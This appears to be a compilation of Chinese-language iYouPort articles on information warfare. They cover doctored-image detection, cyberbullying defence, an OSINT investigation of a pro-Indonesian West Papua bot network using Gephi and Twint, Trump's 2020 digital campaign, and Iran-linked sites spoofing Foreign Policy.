数字化变形：篡改图像在心理操纵中的应用很广泛，并且一直在上升，特别是在 Twitter 和 Facebook 上。拍摄的关于儿童的可怕图像、或者作为某些部队“在中东某处”的“证据”传递的图像，但这些造假过于简单了，通过OSINT技术很容易找到其破绽。揭露篡改使用"TinEye"。此工具将向您显示以前上传过的指定图像。

请注意，如果 TinEye 找不到图像，并不意味着图像没有被篡改。图像可能是新的（和已更改的），或者不在 Tineye 的数据库中。但是，如果发现旧版本不同，那么您所拥有的图像可能已经被篡改。更多关于**OSINT**挖掘篡改图像和视频的方法"详见我们的分类知识列表"。

尽管有些时候数字伪造可能不会留下被篡改的视觉线索，但它们可能会改变图像的基础统计数据。图像取证工具集可粗略地分类为基于像素的技术、基于格式的技术、基于相机的技术和基于几何的技术。

检测特定形式的意图植入：前预测程序设计是一个研究领域，通过子文字、符号学、对话、概念架构仔细筛选，并基本上可以识别电影剧本、故事、纪录片、新闻等中的意图植入，仅用于检测促进特定形式的集体公众心态的意图。

这类对特定形式的意图进行植入性宣传的操作正在有效地重新设定我们自己的方向和意图，例如通过角色扮演和受控制的愚蠢行为重新建立我们自己的知识和资源基础，以（重新）解释/理解身体和情感信息。

例如，The Grand Chessboard 是一部虚构的小说，使用传统的以国家为中心的威斯特伐利亚叙述作为国际关系的必要条件，可以用作前预测程序设计研究中的 DIY 练习，其中读者是小说的中心人物。警告：仔细阅读这种东西会导致因果谬误，并且几乎不可避免地对非国家和非公司行为者的角色和影响视而不见。中国类似东西非常多，所谓的“主题作品”。

Underminers：Underminers 既是一本书的名字也是一个运动，通过隐蔽活动或不可察觉的过程以造成破坏，有时趋于突然的戏剧效果；通过挖掘或侵蚀其基础来消除其潜在的支持，从而令其削弱自身能力或导致崩溃。有激进派风格。这本书覆盖的主题可以有多种解释。

网络欺凌的一般防御：

- 不要回复任何网络欺凌的消息—你的反馈正是网络欺凌者所需要的。他们最想知道自己已经让你担心和不安。他们试图弄乱你的思想并控制你，把恐惧植入你的大脑。不要给他们这个机会；
- 不要把恐惧和不安留给自己。你并不孤单，和可信的人联合起来；
- 不要删除或屏蔽来自网络欺凌的消息—不要阅读但要保留它，这是证据。您的朋友、您的ISP和/或电话公司也许可以使用这些消息来帮助您（根据不同国家的法律）。您可以对自己的案例进行一些研究，以便向寻求帮助的人提供更多信息。
- 保护自己—除非你确信值得信任的人，否则永远不要安排与某人见面。确保会面在公共场所进行。
- 您可能需要删除当前使用的电子邮件和社交媒体帐户、电话帐户并设置新帐户（除非您保持帐户处于活动状态以尝试捕获网络恶霸）。

更多方法请参见我们曾经介绍过的《抵制在线攻击》。

对付袜子木偶：其实是非常简单的。关键一点就是完全切分你的专业部分和私人部分、敏感部分和不敏感部分，让这两部分变成完全不同的身份形象；当攻击者通过私人的/敏感的部分对你进行深入时，他们将只能获取一套完整的假身份信息。

更多详见《伪装＋擦除—— 在线隐身的重要步骤》《使用社交媒体时你必须注意什么？—— 更安全的抵抗》

以下推荐一些相关纪录片，您可以在线查阅（没有跳出视频的是因为被删除了，您可以通过搜索标题找到更多提示）：

** 注：本网所有文章中的视频链接均来自 **YouTube** 和 **Vimeo**，于是如果您在中国而没有使用代理，无法观看视频**

War Made Easy—How Presidents and Pundits Keep Spinning Us To Death https://www.youtube.com/watch?v＝R9DjSg6l9Vs

Psywar

A virus called fear

The power of nightmares https://archive.org/details/ThePowerOfNightmares-Episode1BabyItsColdOutside

Happiness Machines https://vimeo.com/48842811

The Engineering of Consent https://vimeo.com/48842898

There is a Policeman Inside All of Our Heads, He Must Be Destroyed https://vimeo.com/112533840

Eight People Sipping Wine In Kettering https://vimeo.com/75784765

Who Owns the Future? (interview) https://www.youtube.com/watch?v=XdEuII9cv-U

还有一些讽刺性的，例如：

Africa For Norway—New charity single out now! https://www.youtube.com/watch?v=oJLqyuxm96k

Clarke and Dawe—The War in Iraq. Not the Previous One. The Current One https://www.youtube.com/watch?v=6tF-5Xg_byk

This Land is Mine https://www.youtube.com/watch?v=-evIyrrjTTY
Reference, original and explanations about characters in the video: http://blog.ninapaley.com/2012/10/01/this-land-is-mine/

A series of YouTube videos featuring actors performing melodramatic readings of Yelp reviews http://www.youtube.com/watch?v=QEdXhH97Z7E

广告

原文

追踪政府宣传战的内幕：跨平台网络分析的数字取证案例 - iYouPort

开源情报-每个人都可用的武器心理战和信息战让它民主-公民掌握真相的技巧和技术

这是个并不复杂的调查，而且其中使用的工具也比较简单；但是它的思考方式很实用，尤其是对政府信息战网络的挖掘来说。希望它可以举一反三。

「图」

「图」

这项调查是由开源情报调查员 *Benjamin Strick* 和 *Elise Thomas* 进行的，他们也是澳大利亚战略政策研究所国际网络政策中心的研究员。

一项新的开源调查分析了一场资金充足且协调一致的社交媒体信息战，该运动旨在歪曲印尼北部巴布亚省相关的真相。这项调查确定了可能的责任者。

虚假信息网络最初是在9月份的五天时间内捕获数据时发现的；当时查看发布内容的帐户时，发现有些异常。

「图」

「图」

乍一看，似乎是 K-pop 明星 Kim Jennie 在推特上发布了很多有关巴布亚的信息。但是，仔细观察之后你会发现，很明显那是机器人账户。

「图」

「图」

在较早的研究发表后，Twitter 对这些帐户采取了行动，并暂停了所有这些 —— 但是随后，开始出现更多此类帐户。

调查进一步研究了数据，以找出这些帐户还链接到了哪里。查看了该宣传战网络的 Facebook 页面，发现它们在欧洲、英国和美国都投放宣传广告。

「图」

「图」

「图」

「图」

10月3日，Facebook 采取行动并删除了100多个帐户和页面，这些账户仅在广告上就花费了大约**30**万美元。

Facebook 表示，这些账户“涉及印尼国内针对性的、协调的、不真实的行为”，并且该运动 “创建了僵尸网络，以误导他人关于他们的身份和行为的认知”。

在过去的一个月中，与澳大利亚战略政策研究所国际网络政策中心的自由新闻记者兼研究员 Elise Thomas 进行了一次联合调查，深入研究了行销公司、域名、Shell 帐户和韩国流行歌星，以找出谁是这些信息战活动的幕后黑手。

为什么这很重要？虚假信息的危险

- 《为什么虚假信息令独裁政权变得更强大，令民主国家变得更脆弱？》

西巴布亚地区历史悠久。这个前荷兰殖民地于1961年宣布独立，直到1969年被印度尼西亚吞并。

联合国监督了关于西巴布亚独立的极富争议性的投票，这被称为《自由选择法》。据报道，只有1025人被印度尼西亚军方选中投票。尽管结果使印尼正式控制了该地区，但许多人批评这一过程存在严重缺陷。

在2019年，分离主义团体继续为独立而战，并呼吁进行新的全民公投。

七月，分离主义团体联合起来为西巴布亚联合解放运动（ULMWP）领导人本尼·文达（Benny Wenda）提供支持。作为回应，印度尼西亚安全部队对该地区进行了越来越多的镇压。

当八月在巴布亚爆发数十年来最严重的暴力事件时，激发了种族歧视的指控和对独立的重新呼吁，政府"封锁了对该省部分地区的互联网访问"，他们称此举旨在“停止煽动动荡的仇恨信息和虚假新闻”。

「图」

「图」

印度尼西亚政府已采取重要步骤，限制有关西巴布亚局势的信息传播到外界。

状况很像新疆 —— 一边是封锁真实的信息流出，与此同时另一边是政府宣传战网络覆盖社交媒体。以令当权者控制对“事实”的陈述。

外国记者、人道主义工作者和外交官被禁止进入该地区，联合国人权官员的长期访问请求仍然悬而未决。

联合国呼吁印度尼西亚政府制止过度使用武力的行为，并保护独立主义者的言论自由和信息获取权，包括互联网访问权。

社交媒体已成为有关西巴布亚发生情况的重要信息来源，并且也成为了双方宣传战和控制叙事的战场。

就像你在香港抗议期间在 **Twitter** 上看到的宣传战。这类情况如今几乎每一天都在上演。

在这种情况下，独立媒体受到限制，信息铺天盖地，但经过核实的信息却非常少；针对这一有组织的虚假宣传运动的调查过程有可能对国际社会如何看待局势产生重大影响。

反过来，这也可能会影响其他政府以及联合国等国际论坛制定的政策和决定。

「图」

「图」

调查发现，有人愿意花费数十万美元并投入数月的时间进行这项信息

战，以影响国际社会对西巴布亚局势的看法，从而有利于印度尼西亚政府。

行动的规模表明了他们是如何决心赢得国际叙事之战，这是更广泛冲突的一部分。

其含义超出了这些特定案例研究的范围，也超出了西巴布安的背景——它反映的是全球社交媒体平台正日益成为地方冲突的关键战场，控制叙事的权力运作是其主要方式。

调查发现了什么？

调查发现了两个重叠的但各自独立的信息战活动，这些活动主要以英语进行，目的似乎是面向国际受众，目标是促进亲印尼的叙事，同时谴责亲独立的力量。

「图」

「图」

该宣传战网络的运作方式是这样的：包括文章，信息图表和视频的内容已发布在网站上。然后，该内容由 Twitter 上的核心宣传帐户进行推动，并由不真实的和/或机器人帐户网络进行放大。

在某些情况下，所提供的内容实际上是真实的，但明显偏向印度尼西亚政府的立场。而在其他情况下，内容本身就是完全错误的。

使用开源调查技术，发现这两个活动中的第一个是由总部位于雅加达的媒体公司 InsightID 进行的。Facebook 在2019年10月3日的博客文章中证实了这一发现。

「图」

「图」

该公司聘请了一支由训练有素的设计师、广告分析师、说英语的营销专家、和 **IT** 专业人员组成的团队，以英语和印尼语制作高质量的内容，以促进印尼对西巴布亚局势的叙述，包括强调政府在改善巴布亚群岛基础设施方面的努力，同时谴责独立运动的支持者，把独立派比作罪犯和恐怖分子。

「图」

「图」

该信息战公司使用其网站网络和不真实的社交媒体帐户发布其内容、并歪曲社交媒体对话，包括劫持搜索关键字和主题标签，操纵 Google 搜索算法，以及向社交媒体平台充斥特定内容。

除了宣传内容外，这一信息战运动还针对性地骚扰新闻记者、政治领导人、和支持独立的活动家。使用的是机器人账户。

在调查第一个信息战的过程中还发现了第二个类似的但规模较小的信息战网络。但尚未找到后者与 InsightID 进行的操作相关的确凿证据。

调查能够将此活动追溯到特定的个人；此人有政治工作背景，但是他自己说，他在促进亲印尼人对西巴布亚的虚假信息方面的举动是“个人努力”，与他的政治工作无关。

尽管社交媒体平台和信息战运营商本身已删除了许多证据，但在可能的情况下，调查提供了示例、以及指向网站和社交媒体资料存档副本的链接。

在这里看到如何做到这点：

- 《盗墓OSINT》
- 《如何抢在信息被遮挡、污染或完全消失之前捕获它们？》

以下是调查的关键部分，文末有完整报告。

进行网络分析

这些发现是在2019年8月29日至9月2日使用 #WestPapua 和 #FreeWestPapua 标签从 Twitter 捕获活动之后得出的。捕获的数据用于执行网络分析。

使用此数据建立了以下项目的数据集：

- 发布推文带有上述标签的用户名
- 转推并点赞这些帖子的用户名
- 时间戳
- URL
- 活动的类型（推文、转发、引述、提及）。

有了这个有效的数据集，就可以通过 **Gephi** 可视化各个网络。下面是整个捕获的可视化。

关于 Gephi，更多见此前的介绍和演示：《如何挖掘目标人隐藏的人际关系？》。

「图」

「图」

打开这个图谱以进行分析，如下所示：

「图」

「图」

数据通过两种媒介表示：点和线。

点是您看到的彩色圆圈，它们是 twitter 帐户，其大小根据帐户的相互作用而有所不同。

连线代表帐户之间的关系。在捕获的数据中，这是与提及有关的联系，例如转推或引用。

大多数网络都有“影响者”泡沫，就是那些较大的圆圈。他们通常是拥有大量追随者的帐户。在可视化中，它们非常像形状完美的烟花。他们周围发生的任何互动都呈现闭环。

下面是当“影响者”泡沫通常发布推文时发生的情况。

在此示例中，中心的帐户为 @thejuicemedia。他们最近在 YouTube 上发布了讽刺视频，在印尼政府向 YouTube 提出法律投诉后，该视频在印尼被禁止。

「图」

「图」

这些网络中的一个与其他网络相比具有独特的外观；在下面的红色框中突出显示了它。

「图」

「图」

放大这张图可以看清一系列 Twitter 帐户，这些帐户的行为与其他网络相比是不正常的。

「图」

「图」

重点放大导致系统异常的帐户群，以便可以确定需要负责的帐户。

「图」

「图」

Twitter 级别分析

在该网络中可以识别出以这种不同方式相互联系的各个帐户。首先看一下 @ marco26700420 帐户，通过 Wayback Machine 存档了该帐户。

「图」

「图」

这个机器人创建于2019年6月。其目的是传播与西巴布亚和自由运动有关的各种标签所附带的信息。

「图」

「图」

在个人资料图片上进行简单的 Yandex 反向图片搜索即可显示此帐户不是真实帐户。

- 在这里看到不同情况下您应该使用哪种工具的对比《搜图功能哪家强？图像验证方法的能力对比》

「图」

「图」

到此可以确定它是一个机器人，所有推文都与其他机器人的推文相

同，使用相同的标签。这些推文中的许多都在暗示此帐户正在推动一些有趣的观点，例如这样：

“印尼一直在西巴布亚隐藏着什么秘密？在这里找到答案。”

这个句子也是由许多其他机器人在自己的个人推文中使用 #westpapuagenocide 和 #freewestpapua 标签发布的。

下面的视频内容是关于“印尼试图在西巴布亚隐藏的东西”。这是来自一个政府构建的应用程序。

可以在此处查看该视频的gif版本。

「图」

「图」

相同的文本和视频在相近的时间里被其他帐户不断上传到网络。所有这些帐户都使用盗取的个人资料图像。

「图」

「图」

另一个名为 @ yerxi1 的机器人将更多精力放在转发上。可以在下图中看到它。进行转推时它会标记其他帐户。

「图」

「图」

这是 Twitter 帐户：

「图」

「图」

这两个帐户只是可视化信息战网络的一部分，并且该网络的数据仅由在五天的时间内捕获的推文构成，因此该机器人网络中的实际帐户可能比显示出的更多。

可以通过查看每个帐户的关注者以及关注的人来识别这些帐户。

那么，它们在推广什么，在哪里推广？

网站、Facebook、Youtube 和 Instagram

许多帐户负责引用更活跃的帐户。该信息战网络中最活跃的帐户之一是 @PapuaWestcom。

「图」

「图」

此帐户运行带有视频的推文，其中一些是印度尼西亚政府和军方在西巴布亚工作的宣传材料。以下推文中的视频可以在这里查看。

「图」

「图」

这个推特帐户还推广网站 Papua West。该网站的“关于”部分声称：“PapuaWest.com 是在线媒体，提供与西巴布亚地区业务相关的最新信息”。

不仅运行 **Twitter** 帐户，它还运行一个有 **50,000** 个关注者的 "Facebook 页面"和一个 **YouTube** 频道，在该页面上传播相同的视频内容。

「图」

「图」

如果您仔细阅读就会发现另一个有趣的 Twitter 帐户 @West_Papua_ID。

它与整个信息战网络配合以增加推文，就像 Papua West 的机器人帐户（如上）一样，它在其他社交媒体平台和网站上拥有自己的帐户。

「图」

「图」

@West_Papua_ID 的网站是 westpapuaindonesia.com，并链接到一个受欢迎的 "YouTube 帐户"，一个拥有 **10.3k** 粉丝的 "Instagram 帐

户"，和一个拥有 **152k** 粉丝的 "Facebook 页面"，所有这些都在传播有关西巴布亚的亲印尼政府资料。

Westpapua.id 的 Instagram 帐户所运行的内容与该机器人网络在 Twitter 上发布的内容相同。

「图」

「图」

对该帐户的 Instagram 进行了审核，结果显示，实际关注者人数占 34%。使用的工具在这里：https://igaudit.io/

「图」

「图」

接下来看一下该宣传战网络的运行方式。

机器人部署分析

对僵尸网络的进一步分析可以显示它在自动发布中的工作方式，通过账户部署任何活动的时间中可以看出。

为此，从先前确定的网络群集中抓取并比较随机选择的帐户。

「图」

「图」

出于这篇文章的目的，将在比较中使用的是以下两个账户：@ kevinma40204275 和 @ bellanow1。

「图」

「图」

这里使用的工具是 Twint。我们以前也介绍过，见：《新生情报工具（2）：刮刀、打破推特限制、情报资源机器人、和袜子木偶管家》。

使用以下代码提取所有推文：

sudo twint -u bellanow1 –media -o papuabots1 –csv

下面是执行命令时的屏幕截图。

「图」

「图」

现在拥有的电子表格包含 @ bellanow1 机器人帐户中的所有推文数据。命令 Twint 将其拉入csv文件时，它会逐项列出。

「图」

「图」

对 @ kevinma40204275 重复了相同的过程，以将两者匹配并进行比较。在将两者排列对比时可以看到该信息战活动指示自动化的流程。

这些帐户以一种自动流程的方式彼此同步，以便在更大的机器人网络中以不同的时间发布内容。

通过查看序列可以看到机器人在25日晚上进行了活动，活动时间为 23:32:52, 23:32:54, 0:32:54, 0:32:56, 3:32:54 和 3:32:55，整个时间线很有规律。

「图」

「图」

结论是，该机器人网络利用其他主要的社交媒体平台来传播有关印尼政府的宣传，并且淹没了任何反印尼政府的言论。

在这里看到完整版报告。

以上讲述呈现的是对机器人信息战网络的调查。这个机器人网络可以说稍有特殊（至少30万美元真没白花）因为他们获得了较大的影响力。

而一般的信息战网络可以不需要宣传账户自身的影响力，他们只需要以大量的涌入来推动主流叙事向操纵者所希望的方向倾斜；当有人搜索相关关键字时，宣传性信息将被置于前列。所以，及时抓取、调查并排除信息战网络非常重要。

就如我们曾经介绍和演示的所有调查一样，您可以举一反三应用在您身边最重要的事件上。尤其是其中涉及的工具和调查思路，它们可以用来进行很多实践。〇

广告

原文

选举运动的数字化斗争: 2020 Presidential Race - iYouPort

心理战和信息战

数字世界的民主选举意味着什么？答案是：信息战。

「图」

「图」

虽然民主党精心挑选了23名竞争者，但特朗普的竞选活动正在致力于加强数字工具，希望能借此在2020年获胜。

数字工具操纵民意不是新闻，但是本次的规模似乎超出了过往。

特朗普的数字化运动已经全速运转。

同一个人，使用的是四年前相同的战术，但是这次它似乎表现更出色—— 能够更好的定位、更好地关注再次获胜所必需的选民群体。

在 2008 年和 2012 年，每个人都惊讶于一个名为 Blue State Digital 的小型组织的表现力，正是他们，在巴拉克奥巴马的选举中发挥了至关重要的作用。

对于这件事的详细以及数字化选举信息战的全景图介绍在这里《"国王们的晚宴—— 这是一场看不见的政变"》。

而今天，民主党陷入了困境。

被 WPP 收购的 Blue State 已经不再是政治游戏的一部分，而且，总的来说，民主党似乎已经被共和党的数字机器所超越。

来看看他们是怎么做的。

1、抢占先机

特朗普几乎在他进入白宫的那天开始就启动了他的竞选活动。

事实上，美国近代史上没有任何总统在前两年的任期中就为下一次竞选筹集和花费了如此之多，如华尔街日报的这张图表所显示的（这些数字还不包括 PAC 筹集和支出的资金）：

「图」

「图」

早在2016年就建立了特朗普数字战略的 Brad Parscale 在今年年初就被任命为竞选经理。

根据他的说法，把握时机是较大计划的一部分，正如他在1月份对福克斯新闻的描述（强调“我的”）：

“……这就是为什么总统如此早地宣布任命我的原因。就如你知道的，人们经常是三个月过去了、三年过去了，却不知道自己在干什么。我们正在进行顶级垂直营销，我们需要准确地定位每一个会投票给总统的人，立即去找他们。如今作精准定位已经便宜很多了，现在就要开始，而不是在媒体获得所有广告并且广告费用更高而我们不得不急于找到他们的时候再下手……”

2、开销

如下图所示，特朗普数字化的竞选活动开销 —— 为830万美元 —— 已经超过了民主党人的5倍，这还是与最接近的候选人相比（伊丽莎白沃伦170万美元）。

以下数据来自 Bully Pulpit，显示了1月1日至5月25日期间的媒体宣传活动开销，很直观能看到差距。Facebook（浅色）和谷歌（深色）。

「图」

「图」

以上只是表面支出，并不是整个数字信息战中的一切。 2016年的时候，数字支出就达到了6.23亿美元（所有媒体的合计为**90**亿美元）；

56％的投资来自民主党人，31.3％来自共和党人，12.3％来自独立候选人。

不要看比例；最大的区别是策略。

以下是 Parscale 在布加勒斯特最近一次会议上解释的2016年竞选活动最后四个月的一个例子：

> “希拉里克林顿的团队制作了66,000 个不同的广告；我的团队制作了**590**万个。这些广告是以人们*想要消费的方式*直接面向目标人群的广告。
>
> 我不再把人视为人口统计数字、群体、或人物角色。
>
> 我们要把目标视为个体，考察他们每一个人是如何行动的。因为两个看起来非常相同的人也可能会采取完全不同的行动。这就是政治营销的未来。”

在某些时候，特朗普的竞选活动是每天测试 100,000 个不同的广告，在上次总统辩论期间达到了峰值 —— **175,000**个变化。

此外，特朗普竞选活动的每**10**条信息中就有超过**8**条是关于直接采取行动的 —— 而希拉里竞选活动中只有一半信息关乎行动。

3、**2020**年的活动：范围更广

今年，Brad Parscale 以非常简单的方式解释了他的战略蓝图，就像一个月前对 CBS 的采访、以及1月份对福克斯新闻的采访中所说的那样。

以下是关键部分摘录：

关于数字营销活动的规模 ——

“作为现任，我想说我们现在正在建立一个与2016年不同的业务。

在2016年，这项业务是非常基层的，如你所知，该活动有时最好的运作状态中也只是一小部分有效。

这是动态的。它正在改变。它也正在适应。当时的服务目标是平生第一次参选的人。而在2020年，运作会有所不同。

这将是一个更大规模的地面战。这将需要新技术、新事物。

Facebook 仍然会是是个好地方，但我们已经从 **Facebook** 收获了我

们想要的东西” —— Face the Nation

“正在进行的这次选举非常关注营销、广告，理解数据和分析数据，建立基础结构，以了解所需要的一切信息以及如何实现赢的目标。

有很多东西来自对如何构建基础设施以便能够与数千万人进行沟通的理解，以及如何有效地花费五亿六千万美元的宣传预算 **[**后来，**Parscale** 承认支出可能达到了**10**亿美元！]” —— Face the Nation

“2016年，我们有大约70万名志愿者。现在，2020年的选举有160万名志愿者提供服务，我们计划更多利用手机上的技术、应用程序和其他技术开发。

有些人可能负责街头聚会、有些人可能会参与社交媒体运营、有些人可能会挨家挨户敲门。

在每一个坐标中我们都在考虑如何比我们在2016年做得更大、更好” —— Face the Nation

另一个指标也可以说明两次营销业务之间的差异：2016年，Parscale 在全国拥有3,000名团队领导者。这次他将有 90,000 名。

目标定位 ——

“现在，这些政策[消息]有一系列的东西。在 1300 Elm Street 的那个人可能真的很关心移民问题；而在 1305 Elm Street 的人可能关心的是税收政策。

现在，这并不意味着我们正在改变总统的信息对他们的影响。而是，我们必须向每一位选民提供真正能触动他们的信息” —— Fox News

“这是明尼苏达州的选民，只要增加 26,000 名新支持者我就可以扭转局面。所以，我现在就去找他们。

我们每个月花费数百万美元，比历史上的任何一次战役都更加领先，为我们找到需要针对性推销的人、找到我们需要了解的内容、我们需要对他们说什么、以及如何准确地影响他们，奠定基础” —— Face The Nation

“我们必须拿到可以能直接联系到人们的东西。手机号码、电子邮件地址，等等。

一个好的候选人可能在选举日会有四到五百万票。我们可能会有6000万 [关于背景： 2016年有1.38亿人投票，其中投特朗普的人是 6300万] 在选举日，我们可能会让所有我们直接联系过的人都投票给总统。

这就是我们在整个时间里花费的精力。” —— Fox News

Parscale 已经公开声明了要为关键的蓝州部署这些营销策略：科罗拉多州、新墨西哥州、明尼苏达州、内华达州。

4、Facebook 的嵌入问题

没有人知道像 Facebook 或谷歌这样的大型平台是否会有“嵌入”，即分配给每个信息战活动的顾问。

事实是，Parscale 和他的100多名队友已经不再需要 Facebook 了。

这已经不是**2015**年，当时他要求 Facebook 的人向他解释网络无可挑剔的广告机器的每个功能。

无论 Facebook 如何公开谈论政治广告，该寡头都会毫无疑问地采取一切措施来支持可能带来超过**10**亿美元收入的业务。

5、WhatsApp 未知

目前为止 WhatsApp 已经在多次选举中展示了其信息战的强大能力，巴西和印度是最有说服力的例子。

然而，WhatsApp 在美国的受欢迎程度远低于亚洲：虽然 Facebook 在美国有2.21亿用户，而 Facebook Messenger 有1.3亿用户，但是，WhatsApp 在美国只有2300万用户。

但是，该应用程序的使用量可以快速增长，并且已经被特朗普的信息战活动所使用。

WhatsApp 是虚假信息和诽谤信息的理想载体：它模仿一对一的对话，并且无法跟踪来源。

还有，Mark Zuckerberg 已经承诺，在他所谓的“隐私聚焦愿景”中，要使 WhatsApp 可以与SMS互操作。

对于刚刚超过 10,000 个虚假陈述标记的总统来说，这可能是一个十

分诱人的工具。〇

- 〇 注：自2016年至今，IYP 曾经做过两个较大的预测。这两个预测都不详。

第一个就是“贸易战对改变中国没有任何作用”，因为中美是高堡奇人的关系 —— 高堡奇人不仅意味着长期持久的竞争，而且意味着双方谁也不会击败谁，因为他们互相依存。

这点已经在上个月的G20会议期间得到了证实。

由于这一预言没能令人们明显放弃对美国的“期待”；后来我们干脆将高堡奇人放入了网站栏目，汇集所有美国和中国之间的不为人知的合作和竞争的另一面。

这绝非是我们所希望看到的。

另一个预测就是，下一次特朗普还会赢。这是更大的不希望；但是民主党在很多方面仍然不力。

目前距离大选还有一年的时间，希望这个预测能够被推翻（我们对两大党派都不看好）。

此外，关于美国大选，有一篇文章能够解释一些问题《Why Is Everyone Running for President? It’s a Billion-Dollar Industry.》简介如下：

「图」

「图」

Trump’s Digital Campaign for 2020 Is Already Soaring

广告

原文

骇客如何利用主流媒体愚弄大众？ - iYouPort

心理战和信息战

这是一个非常有趣的新型战略性欺骗手段，专门瞄准那些以主流媒体为关键信息来源的人……它准确地利用了互联网上的人普遍具备的几大关键弱点。相比下中国那些宣传战战术基本弱爆了。

「图」

「图」

我们会在文末做出分析。

乍看下这篇文章似乎是对“外交政策”杂志的真诚贡献 。

这篇文章在2017年6月发布，它声称前中央情报局局长迈克尔海登批评在沙特的压力下驱逐穆斯林兄弟会和哈马斯，并且引用海登说美国不应该让一个没有经验的王储（指的是沙特王储 MBS）破坏中东的安全计划。

但是，这篇文章是伪造的，这是一个与伊朗有联系的虚假信息网络制造的假货，冒充美国“外交政策”杂志，目的是在 2016 年开始并持续至今的信息战行动中诋毁德黑兰的竞争对手。

根据一份报告，在这个庞大的、开创性的行动中，与伊朗有关的特工在数十个不同的领域创造了**100**多份假文章，其中许多都是冒充合法的新闻媒体，推动袭击沙特阿拉伯、以色列和伊朗的虚构故事。这是来自研究机构 Citizen Lab 的报告。

为了宣传他们的文章，该行动甚至依赖假的 Twitter 角色，在线与记者和研究人员进行交流，并发送链接引导目标到伪造的页面。

公民实验室确定了11个这样的人物角色。其中之一，“Mona A. Rahman”，在Twitter上非常活跃，称自己是“政治分析家和作家”，并

且似乎是一名反沙特活动家。

那篇虚假的“外交政策”文章以及模仿真实新闻网站的数十个其他虚假网站目前已经不再存在。剩下的只能在网络存档的页面上查看，例如这一页，显示了捏造的“外交政策”文章。

在视觉上，该网站完全复制了“外交政策”的网站，但该文章中充满了语法错误。

仅仅将注意力集中在俄罗斯身上是偏颇的，这份报告强调了其他国家如何利用宣传和虚假信息在网上传播他们喜欢的叙述方式。

“如果你把这次行动与我们已经看到的所有其他行动结合在一起，就会发现伊朗已经像俄罗斯一样成为了一个重要的虚假信息宣传战参与者，看起来它们似乎不会消失，”Ben Nimmo 说，他是研究虚假信息的大西洋理事会数字取证研究实验室的高级研究员。

虽然“伊朗早期的行动相对粗暴，并利用社交媒体引导用户转向反叛内容的网站，”他说，随着他们背后的操作人员尝试传播亲伊朗信息的新方法，这些行动现在变得越来越复杂了。

该报告的作者警告说，他们不能明确地将这场行动归咎于代表伊朗工作的骇客。

无法识别运营该虚假网络的个人的身份，但他们在网上传播的信息始终与伊朗的利益和宣传密切相关。

亲伊朗的宣传活动通过使用公民实验室研究人员称之为“短暂的虚假信息”的策略，在战略性欺骗领域开辟了一个新天地。

运营者会创建假的新闻页面和假的网站，发布虚假文章，然后在文章开始于社交媒体上获得影响力后删除页面。

该策略的重点似乎旨在将错误的叙述注入信息（舆论）生态系统，然后删除证据。

注：回忆下我们在“战略性欺骗”系列中分析的欺骗招数，在下面看到全部：

- 《欺骗不是撒谎这么简单：对峙的艺术（1）》
- 《伟大的自欺—战略性欺骗的心理维度（2）》
- 《想象力、创造力和较量—欺骗与反欺骗的互动（3）》

- 《偏执的保密—欺骗的主要方法之一（4）》
- 《让你看见—欺骗的积极方法之二（5）》
- 《反情报能力和思维模式—识别战略性欺骗的主要途径（6—上）》
- 《辟谣往往无效除非自我批驳—识别战略性欺骗的主要途径（6—下）》
- 《媒体操控：战略性欺骗的重头戏》

其中提到的重点之一就是：利用欺骗目标人/群体的心理弱点定制最容易被接受的骗局；假象不能完全是假的，要有部分真实才更容易被信任。

在本案例中，目标群体—即互联网人—的心理特征是寻求吸睛刺激、不求甚解、仅因信息刺激而乐于转发分享，这就是推动虚假信息传播的有利基础；并且，环境背景是，绝大多数人依旧通过主流媒体获取信息，认知一旦形成便很难更改（也就是说，骇客最终删除的页面并不会明显减轻对人们的影响）。

请忽略这篇文章中暗示的地缘政治元素，不论您的政治立场是什么，都不能忽视这种操纵式宣传的危害。

⚠试想，如果中国骇客伪造了纽约时报的页面、安置了精心策划的并且吸睛度很高内容（比如权斗），是否会“刷爆朋友圈”呢？

更重要的是，应该有更多人意识到，“主流媒体”本身也极有可能在任何时候成为宣传战的武器，并无需被骇客伪造，详见《媒体操控：战略性欺骗的重头戏》；所以，以渠道为参考条件的判断是远远不足以验证真伪的。

您需要完善一套思考方式。

关于反欺骗的思考方式和基本注意事项详见上面链接中的解读。

How Pro-Iran Hackers Spoofed FP and the News Media? Fake news articles and tweets sought to cast Saudi Arabia and other rivals of Tehran in a bad light.

原文

反情报能力和思维模式 — 识别战略性欺骗的主要途径（6-上） - iyouport

战略性欺骗-识别和抵制

【2019年8月30日存档】强调个人的“客观”是一种虚妄。

「图」

首先回顾一下本系列已经发布的部分：

- 《欺骗不是撒谎这么简单：对峙的艺术（1）》
- 《伟大的自欺—战略性欺骗的心理维度（2）》
- 《想象力、创造力和较量—欺骗与反欺骗的互动（3）》
- 《偏执的保密—欺骗的主要方法之一（4）》
- 《让你看见—欺骗的积极方法之二（5）》

如前所述，战略性欺骗是情报失误的主要原因之一，要避免情报失误，就必须识别对手的拒止和欺骗阴谋，消除被情报分析的影响。这就是反欺骗战略。

自二战以来，各国军界和学术界一直在探索防止拒止和欺骗的方法。但他们得出的结果截然不同。

美国在做这方面研究的学者中 Barton Whaley 是比较最著名的，他指出，欺骗是一种错误认知，是一种心理现象。

所有欺骗都是在受骗人大脑中发生的，欺骗我们的不是其他人 —— 而是我们自己 —— 欺骗者只不过是企图诱骗，他谋划并设计了一种假象。

如果我们上当，就会认同并接受他所描绘的事物。所以 ，欺骗之所以奏效，是因为被骗者存在自我欺骗。

这就回到了情报失误的老问题：⚠情报分析人员的认知错误，才是战略性欺骗得意奏效的主要原因。

而大多数学者都承认，要克服情报分析人员的主观倾向是几乎不可能的事。

因此，针对拒止和欺骗，答案似乎十分明显：我们不可能克服人类固有的认知偏误，因而不可能识别拒止和欺骗。

研究突袭的一大群美国学者都持这种观点。

比如 Michael Handel，他认为即便是一个对欺骗艺术谙熟于心的分析人员，依然可能成为欺骗的牺牲品。Richard Bates 也认为，任何一种机制性的解决方案都无法防止情报失误。换句话说，战略性欺骗无法防范。

然而 Barton Whaley 不这么看。

虽然他也承认，即使是老谋深算的欺骗者自己也会被骗，而且 “避免被骗的说教与鼓励使用欺骗手段的说教一样毫无用处”。

但是，他同时指出：每一次欺骗行动都必定或者说不可避免地留下蛛丝马迹。只要进行了欺骗，就会存在被发现的可能。

于是分析家只需要具备恰当的感知设备和认知假设，就可以觉察并理解这些线索的含义。

⚠这是一个技术性和程序性的问题，而不是一种理论问题。

任何事物在某种程度上都可以进行模拟和掩饰，所以欺骗总是可行的。但是，因为欺骗行动总是不可能做到极致，所以反欺骗总是具备可行性。

